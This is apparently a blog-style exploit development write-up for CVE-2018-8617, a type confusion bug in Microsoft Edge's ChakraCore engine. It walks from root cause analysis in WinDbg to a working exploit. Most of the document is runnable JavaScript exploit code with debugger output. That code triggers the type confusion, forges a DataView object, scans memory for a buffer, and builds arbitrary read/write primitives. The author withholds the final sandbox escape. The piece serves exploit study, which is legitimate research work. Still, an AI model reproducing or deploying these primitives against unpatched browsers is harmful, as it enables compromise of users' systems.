The following writeup is my approach to the weaponization of CVE-2018-8617 against Microsoft Edge 🤢. I want to start by giving a shoutout to RET2 Systems and Offsec.
The technique I was able to develop in order to create a read/write primitive was directly influenced by methodology I learned from The Fundamentals of Browser Exploitation a course offered by RET2 Systems. I cannot recommend this course enough if your goal is to find 0days in browsers and don’t know where to get started. Unfortunately, I was unable to complete it due to timing, but I see the value in the knowledge it provides and plan to retake it as soon as time presents itself.
Knowing how to leverage the primitives in a Windows environment I credit to Offsec as I used techniques from the Advanced Windows Exploitation (AWE) course. This is a solid example why I recommend taking this course when updated as finding these “methods” I will admit would take me a considerable amount of time if not presented to me in the manner that it was by Offsec.
With the glazing out of the way let’s jump right in.
Table of Contents #
CVE-2018-8617 #
Below is the Proof of Concept (PoC) we will be working with:
function opt(a, b, value) {
a.b = 2;
b.push(0);
a.a = value;
}
function main() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
let o = {a: 1, b: 2};
opt(o, o, 0x4141);
print(o.a);
}
readline();
main();
Understanding the vulnerability #
Before getting into any exploit development, we need to perform a root cause analysis. To do this I would be using ChakraCore (ch.exe) and WinDbg’s time travel debugging functionality.
After running it against our PoC, we can observe the following crash:
(1db4.13f4): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 1533:0
chakracore!Js::PathTypeHandlerBase::GetProperty+0xd5:
00007ffa`29d67195 4c8b1cc8 mov r11,qword ptr [rax+rcx*8] ds:00010000`00004141=????????????????
The function where this occured is clearly GetProperty. If we unassemble backwards we can see that RAX came from offset 0x10 of R10.
0:003> ub
chakracore!Js::PathTypeHandlerBase::GetProperty+0xb7:
00007ffa`29d67177 4c8b5828 mov r11,qword ptr [rax+28h]
00007ffa`29d6717b 410fb74b12 movzx ecx,word ptr [r11+12h]
00007ffa`29d67180 443bc9 cmp r9d,ecx
00007ffa`29d67183 0f8211010000 jb chakracore!Js::PathTypeHandlerBase::GetProperty+0x1da (00007ffa`29d6729a)
00007ffa`29d67189 418bc1 mov eax,r9d
00007ffa`29d6718c 2bc1 sub eax,ecx
00007ffa`29d6718e 4863c8 movsxd rcx,eax
00007ffa`29d67191 498b4210 mov rax,qword ptr [r10+10h] <------ HERE
Dumping R10 we can see that this is a JSObject.
0:003> dq R10 L6
0000021d`f9a8fd00 00007ffa`2a050850 0000021d`f9a8ec40
0000021d`f9a8fd10 00010000`00004141 0000021d`f9a8ebc0
0000021d`f9a8fd20 00010000`00000001 00010000`00000002
0:003> dqs R10 L1
0000021d`f9a8fd00 00007ffa`2a050850 chakracore!Js::DynamicObject::`vftable' <-- HERE
If we return to the source code of the PoC we can assume that this crash likely occurred when we called print() due to the naming convention we normally see with getter functions (GetProperty).
...
opt(o, o, 0x4141);
print(o.a);
}
Let’s set a hardware breakpoint to see when 0x4141 is written to the JSObject. Then go back in time to when the write occurred.
0:003> ba w8 0000021d`f9a8fd10
0:003> g-
Breakpoint 0 hit
Time Travel Position: 1530:F36
00000215`f7960134 48b820609df91d020000 mov rax,21DF99D6020h
Since the hardware breakpoint is on write access, execution is stopped just after the location has been written to. Let’s go back to that instruction.
0:003> p-
Time Travel Position: 1530:F35
00000215`f7960130 4d896610 mov qword ptr [r14+10h],r12 ds:0000021d`f9a8fd10=0000021df9a8fd20
If we dump the address of the object, we can see that we are in fact writing the value to the object at offset 0x10. In addition, we see the use of an auxSlots pointer since the original value here pointed to 1 and 2 ({a: 1, b: 2}) of the PoC.
0:003> dq 0000021d`f9a8fd00 L6
0000021d`f9a8fd00 00007ffa`2a050850 0000021d`f9a8ec40
0000021d`f9a8fd10 0000021d`f9a8fd20 0000021d`f9a8ebc0
0000021d`f9a8fd20 00010000`00000001 00010000`00000002 <---+
0:003> dq 0000021d`f9a8fd20 L2 |
0000021d`f9a8fd20 00010000`00000001 00010000`00000002 ----+
0:003> r r12
r12=0001000000004141
Since the object o is originally created with inline values (due to its declaration), a type change must have happened for it to be using an auxSlots pointer.
If we go back in time once more, we trigger the breakpoint again and see where the type change occurred.
0:003> g-
Breakpoint 0 hit
Time Travel Position: 1530:7FD
chakracore!Js::DynamicTypeHandler::AdjustSlots+0x8c:
00007ffa`29d9bfe4 488b5c2430 mov rbx,qword ptr [rsp+30h] ss:0000002e`e77fe3d0=0000021df9a8ebc0
0:003> p-
Time Travel Position: 1530:7FC
chakracore!Js::DynamicTypeHandler::AdjustSlots+0x88:
00007ffa`29d9bfe0 4c894b10 mov qword ptr [rbx+10h],r9 ds:0000021d`f9a8fd10=0001000000000001
0:003> dq rbx L6
0000021d`f9a8fd00 00007ffa`2a050850 0000021d`f9a2ed40 <---- Object
+->0000021d`f9a8fd10 00010000`00000001 00000000`00000000
| 0000021d`f9a8fd20 00010000`00000001 00010000`00000002 <---- Old inline values
|
+------------------- to be written here ------------------+
|
0:003> r r9 |
r9=0000021df9a8fd20 <--- auxSlots ------------> -----------+
Based on the analysis we can conclude this is a Type Confusion Vulnerability…
Leveraging auxSlots #
To reach our goal of controlling the instruction pointer we need to perform the following:
- Confirm what we control and see how to leverage it (in this case we control the auxSlots pointer)
- Replace the auxSlots pointer with an object giving us more control.
Replacing the auxSlots pointer #
Before abusing auxSlots, we need to know what object we’re going to replace with it. Let’s try using an object instead of a random value, in my case an ArrayBuffer().
var arr = new ArrayBuffer(0x100);
...
let o = {a: 1, b: 2};
opt(o, o, arr);
print(o.a);
}
Once sent we hit the breakpoint, and we confirm that we have replaced the auxSlots pointer with a pointer to the ArrayBuffer() object.
0:003> g-
(190c.a04): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 161C:0
chakracore!ContextAPIWrapper_Core<0,<lambda_e971aa2595632ccc9804a91330c40ab9> >+0xbe6a5:
00007ffa`30c1f679 48399840040000 cmp qword ptr [rax+440h],rbx ds:41894808`41895100=????????????????
0:003> p-
0:003> p-
0:003> p-
Time Travel Position: 161B:4F4
chakracore!ContextAPIWrapper_Core<0,<lambda_e971aa2595632ccc9804a91330c40ab9> >+0xbe69d:
00007ffa`30c1f671 488b4808 mov rcx,qword ptr [rax+8] ds:00007ffa`30e15c28={chakracore!DListBase<Memory::ArenaData * __ptr64,FakeCount>::~DListBase<Memory::ArenaData * __ptr64,FakeCount> (00007ffa`30a06130)}
0:003> dqs rax L1
00007ffa`30e15c20 00007ffa`30b3c0e4 chakracore!Js::JavascriptArrayBuffer::Finalize
Choosing the object #
Now that we know we can corrupt the auxSlots pointer we need to find an object that will turn this into a read/write primitive.
The approach we’ll take will involve multiple objects.
obj: Will be used to overwrite theoobject’s auxSlots pointer via the type confusiondv1: A DataView object pointed to byobjwill serve as an interface to the actual ArrayBuffer
With this setup we can do the following:
o'sauxSlots pointer via the type confusion will point toobj, meaningocan directly modify the in memory contents ofobj- Using
o.cwe’ll be able to modify the auxSlots pointer ofobjto point todv1the DataView object - Now
objwill be able to modify the memory of thedv1object meaningobj.hcan then be used to set the buffer pointer ofdv1
In theory this will allow us to be able to write and read wherever the buffer pointer of dv1 is set.
Below is the code to do just that:
obj = {}; // 'o' objects auxSlots pointer will be pointing here via type confusion
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8
obj.i = 9;
obj.j = 10;
var dv1 = new DataView(new ArrayBuffer(0x100));
function opt(a, b, value) {
a.b = 2;
b.push(0);
a.a = value;
}
function main() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
let o = {a: 1, b: 2};
Math.sin(1);
// Trigger Type Confusion, writing a pointer to obj in
// o's auxSlots pointer.
opt(o, o, obj);
// Set the auxSlots pointer of "obj" object to dv1
o.c = dv1;
Math.sin(1);
}
print("[*] Attach WinDbg now..");
readline();
readline();
main();
Let’s go ahead and launch this.
C:\tools\core>ch.exe \\192.168.81.144\share\edge\4.15.3\4.15.3.2_extra_mile\CVE-2018-8617.js
[*] Attach WinDbg now..
Then confirm that we have obtained the level of control we expect (bu ChakraCore!Js::Math::sin).
0:006> bu chakracore!Js::Math::Sin
0:006> g
ModLoad: 00007ffa`70060000 00007ffa`7006c000 C:\Windows\SYSTEM32\CRYPTBASE.DLL
Breakpoint 0 hit
chakracore!Js::Math::Sin:
00007ffa`361bb170 4889542410 mov qword ptr [rsp+10h],rdx ss:0000006f`96afe748=0000000000000000
0:003> bp chakracore!Js::DynamicTypeHandler::AdjustSlots+0x88
0:003> g
Breakpoint 1 hit
chakracore!Js::DynamicTypeHandler::AdjustSlots+0x88:
00007ffa`362abfe0 4c894b10 mov qword ptr [rbx+10h],r9 ds:000001dd`d183fe70=0001000000000001
0:003> dq rbx L4
000001dd`d183fe60 00007ffa`36560850 000001dd`d17f1040 <---- 'o' object
000001dd`d183fe70 00010000`00000001 00000000`00000000
0:003> bd 1
0:003> g
Breakpoint 0 hit
chakracore!Js::Math::Sin:
00007ffa`361bb170 4889542410 mov qword ptr [rsp+10h],rdx ss:0000006f`96afe748=0000000000000000
0:003> dq 000001dd`d183fe60 L4
000001dd`d183fe60 00007ffa`36560850 000001dd`d18469c0
000001dd`d183fe70 000001dd`d17c9180 000001dd`d1846900
^
|
+------- auxSlots overwritten with pointer to 'obj' obj
0:003> dq 000001dd`d17c9180 L4
000001dd`d17c9180 00007ffa`36560850 000001dd`d17bab80
000001dd`d17c9190 000001dd`d17ab360 000001dd`d17babc0
^
|
+ 'obj' memory overwritten with pointer to 'dv1' obj
0:003> dqs 000001dd`d17babc0 L1
000001dd`d17babc0 00007ffa`365dd3c8 chakracore!Js::DataView::`vftable'
So, it looks like we overshot and o.c wrote to index 4. However, if we update the PoC to use o.b and relaunch we don’t write to the 3rd index which is where the auxSlots pointer would normally be stored.
However, using the following PoC:
obj = {a: 0x41, b: 0x42, c: 0x43, d: 0x44,
e: 0x45, f: 0x46, g: 0x47, h: 0x48,
i: 0x49, j: 0x4A, k: 0x4B, l: 0x4C};
var dv1 = new DataView(new ArrayBuffer(0x100));
function opt(thingOne, thingTwo, value) {
thingOne.b = 2;
thingTwo.push(0);
thingOne.a = value;
}
function main() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
let o = {a: 1, b: 2};
console.log(obj);
Math.sin(1);
// Trigger Type Confusion, writing a pointer to obj in
// o's auxSlots pointer.
opt(o, o, obj);
// Set the auxSlots pointer of "obj" object to dv1
o.c = dv1;
Math.sin(1);
}
print("[*] Attach WinDbg now..");
readline();
main();
We see something interesting.
Breakpoint 3 hit
chakracore!Js::DynamicTypeHandler::AdjustSlots+0x88:
00007ff9`c112bfe0 4c894b10 mov qword ptr [rbx+10h],r9 ds:00000299`0da2fe50=0001000000000001
0:003> dq rbx L4
00000299`0da2fe40 00007ff9`c13e0850 00000299`0d9e22c0 <----- 'o' obj
00000299`0da2fe50 00010000`00000001 00000000`00000000
0:003> g
breakpoint 3 redefined
chakracore!Js::Math::Sin:
00007ff9`c103b170 4889542410 mov qword ptr [rsp+10h],rdx ss:000000c2`578fe3e8=0000000000000000
0:003> dq 00000299`0da2fe40 L4
00000299`0da2fe40 00007ff9`c13e0850 00000299`0da36c40 <--- auxSlots overwritten with
00000299`0da2fe50 00000299`0d991af0 00000299`0da36b80 pointer to 'obj' object
(00000299`0d991af0)
0:003> dq 00000299`0d991af0 L6
00000299`0d991af0 00007ff9`c13e0850 00000299`0d9aae40 <---- Failure to overwrite auxSlots of
00000299`0d991b00 00010000`00000041 00000299`0d9aae80 'obj' object
00000299`0d991b10 00010000`00000043 00010000`00000044
0:003> dqs 00000299`0d9aae80 L1
00000299`0d9aae80 00007ff9`c145d3c8 chakracore!Js::DataView::`vftable'
This shows that we did in fact overwrite the auxSlots of the o object but not the auxSlots of the obj object. However, we can see that this is in fact our object as we see 0x41, 0x43, and 0x44. Let’s try to write to it directly?
obj = {a: 0x41, b: 0x42, c: 0x43, d: 0x44,
e: 0x45, f: 0x46, g: 0x47, h: 0x48,
i: 0x49, j: 0x4A, k: 0x4B, l: 0x4C};
var dv1 = new DataView(new ArrayBuffer(0x100));
function opt(thingOne, thingTwo, value) {
thingOne.b = 2;
thingTwo.push(0);
thingOne.a = value;
}
function main() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
let o = {a: 1, b: 2};
console.log(obj);
Math.sin(1);
// Trigger Type Confusion, writing a pointer to obj in
// o's auxSlots pointer.
opt(o, o, obj);
// Set the auxSlots pointer of "obj" object to dv1
obj.a = dv1;
Math.sin(1);
}
print("[*] Attach WinDbg now..");
readline();
main();
This time, we see that we have successfully created the expected chain.
0:003> g
Breakpoint 1 hit
chakracore!Js::DynamicTypeHandler::AdjustSlots+0x88:
00007ff9`c112bfe0 4c894b10 mov qword ptr [rbx+10h],r9 ds:000001d1`2b4ffe30=0001000000000001
0:003> dq rbx L4
000001d1`2b4ffe20 00007ff9`c13e0850 000001d1`2b4b22c0
000001d1`2b4ffe30 00010000`00000001 00000000`00000000
0:003> g
breakpoint 1 redefined
chakracore!Js::Math::Sin:
00007ff9`c103b170 4889542410 mov qword ptr [rsp+10h],rdx ss:000000c0`4b6fe028=0000000000000000
0:003> dq 000001d1`2b4ffe20 L4
000001d1`2b4ffe20 00007ff9`c13e0850 000001d1`2b506c00 <---- 'o' obj
000001d1`2b4ffe30 000001d1`2b461af0 000001d1`2b506b80
^
|
+----- auxSlots points to 'obj' object
0:003> dq 000001d1`2b461af0 L4
000001d1`2b461af0 00007ff9`c13e0850 000001d1`2b47ae40 <---- 'obj' obj
000001d1`2b461b00 000001d1`2b47ae80 00010000`00000042
^
|
+------ auxSlots points to 'dv1 object
0:003> dqs 000001d1`2b47ae80 L1
000001d1`2b47ae80 00007ff9`c145d3c8 chakracore!Js::DataView::`vftable'
0:003> dq 000001d1`2b47ae80
000001d1`2b47ae80 00007ff9`c145d3c8 000001d1`2b4631c0 <----- 'dv1' obj
000001d1`2b47ae90 00000000`00000000 00000000`00000000
000001d1`2b47aea0 00000000`00000100 000001d1`2b4790a0
000001d1`2b47aeb0 00000000`00000000 000001c9`29a4d690
000001d1`2b47aec0 00007ff9`c142fd40 000001d1`2b441fc0
000001d1`2b47aed0 00007ff9`c15267d8 00000000`00000006
000001d1`2b47aee0 00007ff9`c15267c0 000001d1`2b467ca0
000001d1`2b47aef0 000001d1`2b467cc0 00000000`00000000
So, these objects are linked but we still cannot read and write from arbitrary memory…
Creating DataView object (custom exploit primitive) #
So, after a lot of trial and error I was able to create my own object in memory using the type confusion. Below is the code to do this:
function opt(a, b, v) {
a.b = 2;
b.push(0);
a.a = v;
}
function trigger_type_confusion() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
}
function createDataViewObject(customLength, newBuffer) {
let dvObject = new DataView(new ArrayBuffer(0x100));
let leak_obj = {a:1, b:2};
opt(leak_obj, leak_obj, dvObject);
dvVfptrHeader = leak_obj.a;
dvType = leak_obj.b;
let targetObj = {a:42, b: 42};
let ptrObj = {a: 1, b: 2};
opt(ptrObj, ptrObj, targetObj);
ptrObj.a = dvVfptrHeader;
ptrObj.b = dvType;
writer = {a:1,b:1};
opt(writer, writer, ptrObj);
writer.a = customLength;
writer.b = newBuffer;
return targetObj;
}
function main() {
trigger_type_confusion();
let arrBuff = new ArrayBuffer(0x20);
let targetObj = createDataViewObject(4242, arrBuff);
print("[*] Created DataView object with corrupted length: " + targetObj.byteLength );
vtable_lo = targetObj.getUint32(0, true);
vtable_hi = targetObj.getUint32(4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
print("[*] vtable address is: 0x" + vtableAddr.toString(16));
}
print("[*] Attach WinDbg now...");
readline();
main();
Once ran, we successfully got our leak :)
C:\Users\admin>C:\tools\core\ch.exe poc.js
[*] Attach WinDbg now...
[*] Created DataView object with corrupted length: 4242
[*] vtable address is: 0x7ff8c81050b8
Let’s break down the createDataViewObject() function which is used to create a custom DataView Object in memory. First, we create a normal DataView Object and a normal object with two elements then we trigger the type confusion as seen below.
let dvObject = new DataView(new ArrayBuffer(0x100));
let leak_obj = {a:1, b:2};
opt(leak_obj, leak_obj, dvObject);
Next, we see that we leak the headers of dvObject in memory.
dvVfptrHeader = leak_obj.a;
dvType = leak_obj.b;
During debugging it was found that leak.a and leak.b point to the virtual function pointer and object type respectively of the “type confused” object. We can see this by writing to these members, which should overwrite the headers of the DataView Object (dvObject).
Let’s see this using the following code:
let leak_obj = {a:1, b:2};
console.log(dvObject);
Math.sin(1);
opt(leak_obj, leak_obj, dvObject);
leak_obj.a = 0x41;
leak_obj.b = 0x42;
Math.sin(2);
Once ran, we see the following in WinDbg:
As you can expect, if we can corrupt (write) to the header of the object we can read them. With the headers leaked in theory we can create our own DataView Object right? Well taking a closer look at the object, we need to corrupt the length and buffer itself.
Now if we look further into the function we can see how we overcame this hurdle.
let targetObj = {a:42, b: 42};
let ptrObj = {a: 1, b: 2};
Math.sin(1);
console.log(targetObj);
console.log(ptrObj);
Math.sin(2);
Allocating these two objects we can see that the header of the second object is aligned to allow us to create our object!
[*] console.log() called, Object @{0x000002b3ae34fe00} <--- targetObj
000002b3`ae34fe00 00007ff8`c8100850 000002b3`ae2eef00
000002b3`ae34fe10 00010000`0000002a 00010000`0000002a
000002b3`ae34fe20 00007ff8`c8100850 000002b3`ae2eef00 <--- ptrObj header!
ModLoad: 00007ff8`f7e90000 00007ff8`f7e9c000 C:\Windows\SYSTEM32\CRYPTBASE.DLL
[*] console.log() called, Object @{0x000002b3ae34fe20} <--- ptrObj
000002b3`ae34fe20 00007ff8`c8100850 000002b3`ae2eef00
000002b3`ae34fe30 00010000`00000001 00010000`00000002
000002b3`ae34fe40 00010000`00000001 000002b3`ae34ef00
So, if we corrupt the targetObj header to become a DataView object, then corrupt ptrObj headers to a length and address we have successfully created our own DataView Object!
Leveraging the custom DataView object #
Although this is a powerful primitive, we don’t have as much control as the method taught to us by Offsec as we are unaware of how to convert a floating point to a normal address… Meaning the address field will be hard to arbitrarily edit.
To overcome this, I noticed that if we create another DataView Object locally, it will get allocated in the address space we can read from with the last primitive! However, we have no exact way to determine the EXACT location in memory this object is, luckily since it will be in said address space, we can hunt for it using a unique length! PoC code below!
var dynamicDataViewObj;
function opt(a, b, v) {
a.b = 2;
b.push(0);
a.a = v;
}
function trigger_type_confusion() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
}
function createDataViewObject(customLength, newBuffer) {
let dvObject = new DataView(new ArrayBuffer(0x100));
let leak_obj = {a:1, b:2};
opt(leak_obj, leak_obj, dvObject);
dvVfptrHeader = leak_obj.a;
dvType = leak_obj.b;
let targetObj = {a:42, b: 42};
let ptrObj = {a: 1, b: 2};
opt(ptrObj, ptrObj, targetObj);
ptrObj.a = dvVfptrHeader;
ptrObj.b = dvType;
writer = {a:1,b:1};
opt(writer, writer, ptrObj);
writer.a = customLength;
writer.b = newBuffer;
return targetObj;
}
function main() {
trigger_type_confusion();
let arrBuff = new DataView(new ArrayBuffer(0x100));
let targetObj = createDataViewObject(1.1, arrBuff);
let uniqueSize = 0x13370;
let localDataView = new DataView(new ArrayBuffer(uniqueSize));
dynamicDataViewObj = localDataView;
console.log(dynamicDataViewObj.byteLength);
print("[*] Created DataView object with corrupted length: " + targetObj.byteLength );
let found = 0;
let sizeOffset = 0;
let addrOffset = 0;
for (let i = 0; i < (0x3158*8); i += 8) {
vtable_lo = targetObj.getUint32(i, true);
vtable_hi = targetObj.getUint32(i+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
if (found == 1) {
addrOffset = i;
break;
}
if (vtableAddr == uniqueSize) {
sizeOffset = i;
found = 1;
}
}
vtable_lo = targetObj.getUint32(addrOffset, true);
vtable_hi = targetObj.getUint32(addrOffset+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
print("[*] buffer address is: 0x" + vtableAddr.toString(16));
print("EOF TEST!!!!");
readline();
Math.sin(1);
console.log(dynamicDataViewObj);
Math.sin(2);
}
print("[*] Attach WinDbg now...");
readline();
main();
Once ran, we see we successfully leaked the buffer address, which means we can have a read/write primitive just as strong as Offsecs!
This may seem easy to find, however the method of confirming this was difficult. The following code was used to accomplish this:
let found = 0;
let sizeOffset = 0;
let addrOffset = 0;
for (let i = 0; i < (100); i += 8) {
vtable_lo = targetObj.getUint32(i, true);
vtable_hi = targetObj.getUint32(i+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
print("0x" + vtableAddr.toString(16));
if (found == 1) {
addrOffset = i;
break;
}
if (vtableAddr == uniqueSize) {
sizeOffset = i;
found = 1;
}
}
vtable_lo = targetObj.getUint32(addrOffset, true);
vtable_hi = targetObj.getUint32(addrOffset+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
print("[*] buffer address is: 0x" + vtableAddr.toString(16));
print("EOF TEST!!!!");
readline();
Math.sin(1);
console.log(localDataView);
Math.sin(2);
Once ran, hit enter, then attach. From here we search for a unique sequence that matches where we are reading in memory. Once confirmed we are reading from an address space before the new object, we know we can use the “egghunter” technique. This can be further seen in the image below.
Creating the read/write primitives #
With the “buffer” address known we can now modify it to point to wherever we want. Meaning we have an arbitrary read write however I was WRONG about where the buffer address was located…
Instead, it was at offset 16 of the previously located buffer.
Below is a better visualization:
And below is the PoC code.
let addrOffset = 0;
let sizeOffset = 0;
var customDataViewObj;
var dynamicDataViewObj;
function opt(a, b, v) {
a.b = 2;
b.push(0);
a.a = v;
}
function trigger_type_confusion() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
}
function createDataViewObject(customLength, newBuffer) {
let dvObject = new DataView(new ArrayBuffer(0x100));
let leak_obj = {a:1, b:2};
opt(leak_obj, leak_obj, dvObject);
dvVfptrHeader = leak_obj.a;
dvType = leak_obj.b;
let targetObj = {a:42, b: 42};
let ptrObj = {a: 1, b: 2};
opt(ptrObj, ptrObj, targetObj);
ptrObj.a = dvVfptrHeader;
ptrObj.b = dvType;
writer = {a:1,b:1};
opt(writer, writer, ptrObj);
writer.a = customLength;
writer.b = newBuffer;
return targetObj;
}
function SignedDwordToUnsignedDword(sd)
{
return (sd < 0) ? sd + 0x100000000 : sd;
}
function readPtr(addr)
{
customDataViewObj.setUint32(addrOffset, addr & 0xFFFFFFFF, true);
customDataViewObj.setUint32(addrOffset+4, (addr / 0x100000000) & 0xFFFFFFFF, true);
var value = SignedDwordToUnsignedDword(dynamicDataViewObj.getInt32(0, true));
value += SignedDwordToUnsignedDword(dynamicDataViewObj.getInt32(4, true)) * 0x100000000;
return value;
}
function main() {
trigger_type_confusion();
let arrBuff = new DataView(new ArrayBuffer(0x100));
customDataViewObj = createDataViewObject(1.1, arrBuff);
let uniqueSize = 0x133700;
let arrControlBuff = new ArrayBuffer(uniqueSize);
let localDataView = new DataView(new ArrayBuffer(uniqueSize));
dynamicDataViewObj = localDataView;
dynamicDataViewObj.setUint32(0, 0x414141, true);
yesy = dynamicDataViewObj.getUint32(0, true);
print("HM");
readline();
console.log(dynamicDataViewObj);
readline();
let found = 0;
for (let i = 0; i < (3158*8); i += 8) {
vtable_lo = customDataViewObj.getUint32(i, true);
vtable_hi = customDataViewObj.getUint32(i+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
if (found == 1) {
addrOffset = i;
addrOffset += 8;
addrOffset += 8;
break;
}
if (vtableAddr == uniqueSize) {
sizeOffset = i;
found = 1;
}
}
vtable_lo = customDataViewObj.getUint32(addrOffset, true);
vtable_hi = customDataViewObj.getUint32(addrOffset+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
print("0x" + vtableAddr.toString(16));
readline();
console.log(dynamicDataViewObj.byteLength);
let a = readPtr(vtableAddr);
print("LEAK: " + a.toString(16));
}
print("[*] Attach WinDbg now...");
readline();
main();
With that proven… which I was stuck on for HOURS. We can finish up the primitive :)
Exploit code can be seen below:
let addrOffset = 0;
let sizeOffset = 0;
var customDataViewObj;
var dynamicDataViewObj;
function opt(a, b, v) {
a.b = 2;
b.push(0);
a.a = v;
}
function trigger_type_confusion() {
Object.prototype.push = Array.prototype.push;
for (let i = 0; i < 1000; i++) {
let a = {a: 1, b: 2};
opt(a, {});
}
}
function createDataViewObject(customLength, newBuffer) {
let dvObject = new DataView(new ArrayBuffer(0x100));
let leak_obj = {a:1, b:2};
opt(leak_obj, leak_obj, dvObject);
dvVfptrHeader = leak_obj.a;
dvType = leak_obj.b;
let targetObj = {a:42, b: 42};
let ptrObj = {a: 1, b: 2};
opt(ptrObj, ptrObj, targetObj);
ptrObj.a = dvVfptrHeader;
ptrObj.b = dvType;
writer = {a:1,b:1};
opt(writer, writer, ptrObj);
writer.a = customLength;
writer.b = newBuffer;
return targetObj;
}
function SignedDwordToUnsignedDword(sd)
{
return (sd < 0) ? sd + 0x100000000 : sd;
}
function writePtr(addr, ptr)
{
customDataViewObj.setUint32(addrOffset, addr & 0xFFFFFFFF, true);
customDataViewObj.setUint32(addrOffset+4, (addr / 0x100000000) & 0xFFFFFFFF, true);
dynamicDataViewObj.setUint32(0, ptr & 0xFFFFFFFF, true);
dynamicDataViewObj.setUint32(4, (ptr / 0x100000000) & 0xFFFFFFFF, true);
}
function writeDword(addr, dword)
{
customDataViewObj.setUint32(0x38, addr & 0xFFFFFFFF, true);
customDataViewObj.setUint32(0x3C, (addr / 0x100000000) & 0xFFFFFFFF, true);
dynamicDataViewObj.setUint32(0, dword & 0xFFFFFFFF, true);
}
function readPtr(addr)
{
customDataViewObj.setUint32(addrOffset, addr & 0xFFFFFFFF, true);
customDataViewObj.setUint32(addrOffset+4, (addr / 0x100000000) & 0xFFFFFFFF, true);
var value = SignedDwordToUnsignedDword(dynamicDataViewObj.getInt32(0, true));
value += SignedDwordToUnsignedDword(dynamicDataViewObj.getInt32(4, true)) * 0x100000000;
return value;
}
function readDword(addr)
{
customDataViewObj.setUint32(addrOffset, addr & 0xFFFFFFFF, true);
customDataViewObj.setUint32(addrOffset+4, (addr / 0x100000000) & 0xFFFFFFFF, true);
var value = SignedDwordToUnsignedDword(dynamicDataViewObj.getInt32(0, true));
return value;
}
function main() {
trigger_type_confusion();
let arrBuff = new DataView(new ArrayBuffer(0x100));
customDataViewObj = createDataViewObject(1.1, arrBuff);
let uniqueSize = 0x133700;
let arrControlBuff = new ArrayBuffer(uniqueSize);
let localDataView = new DataView(new ArrayBuffer(uniqueSize));
dynamicDataViewObj = localDataView;
let found = 0;
for (let i = 0; i < (3158*8); i += 8) {
vtable_lo = customDataViewObj.getUint32(i, true);
vtable_hi = customDataViewObj.getUint32(i+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
if (found == 1) {
addrOffset = i;
addrOffset += 8;
addrOffset += 8;
break;
}
if (vtableAddr == uniqueSize) {
sizeOffset = i;
found = 1;
}
}
vtable_lo = customDataViewObj.getUint32(8, true);
vtable_hi = customDataViewObj.getUint32(8+4, true);
vtableAddr = vtable_lo + vtable_hi * 0x100000000;
print("[*] Reading from 0x" + vtableAddr.toString(16));
let a = readPtr(vtableAddr);
print("[*] Read data: 0x" + a.toString(16));
print("[*] read DWORD: 0x" + readDword(vtableAddr).toString(16))
readline();
Math.sin(1);
writeDword(vtableAddr, 0x414141);
print("[+] Wrote DWORD");
Math.sin(1);
writePtr(vtableAddr, 0x424242424242)
print("[+] Wrote PTR");
Math.sin(1);
print("[*] PoC Done");
}
print("[*] Attach WinDbg now...");
readline();
main();
Weaponization #
With the read/write primitive complete all I needed to do was simply implement techniques developed during the AWE to bypass modern memory protections and perform the sandbox escape. To preserve the course contents, I will not be sharing them :P